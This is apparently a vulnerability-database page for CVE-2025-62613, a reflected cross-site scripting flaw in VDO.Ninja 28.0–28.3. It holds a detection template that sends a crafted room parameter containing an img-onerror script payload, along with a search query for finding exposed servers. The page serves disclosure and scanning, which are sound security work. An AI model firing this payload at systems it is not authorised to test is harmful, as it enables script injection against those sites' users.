CVE-2025-62613: VDO.Ninja - DOM-Based Cross-Site Scripting

2026-02-27 VDO.Ninja PoC Public

Description

VDO.Ninja 28.0 to 28.3 contains a reflected XSS caused by improper sanitization of the room parameter in examples/control.html, letting remote attackers execute scripts, exploit requires crafted URL.

PoC

id: CVE-2025-62613

info:
  name: VDO.Ninja - DOM-Based Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    VDO.Ninja 28.0 to 28.3 contains a reflected XSS caused by improper sanitization of the room parameter in examples/control.html, letting remote attackers execute scripts, exploit requires crafted URL.
  impact: |
    Attackers can execute arbitrary scripts in users' browsers, potentially stealing data or performing actions on their behalf.
  remediation: |
    Update to version 28.4 or later.
  reference:
    - https://github.com/steveseguin/vdo.ninja/security/advisories/GHSA-mp9c-cpch-x73c
    - https://github.com/steveseguin/vdo.ninja/commit/83c0ac753ad60c7a086daced3244688cabd4f6b8
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62613
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-62613
    cwe-id: CWE-79
    epss-score: 0.01083
    epss-percentile: 0.63502
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="vdo.ninja"
  tags: cve,cve2025,xss,vdo-ninja

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.html"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - "status_code == 200"
          - 'contains_any(body, "www.vdo.ninja", "VDO.Ninja")'
          - 'contains(body, "session.version") && contains_any(body, "28.0", "28.1", "28.2", "28.3")'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/examples/control.html?room=%3Cimg%20src=x%20onerror=alert(document.domain)%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, ".innerHTML", "roomID", "generateStreamID")'
          - '!contains(body, "encodeURIComponent")'
        condition: and
# digest: 4a0a00473045022100bf5ad203c3ee046ced68ab4deade4f0e31a63ddd15f7cb3e7b5beb68678a869502204bf438acdabd628734d7016e9501af1e3f4af24999f063d89fa3575d40bbcedd:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities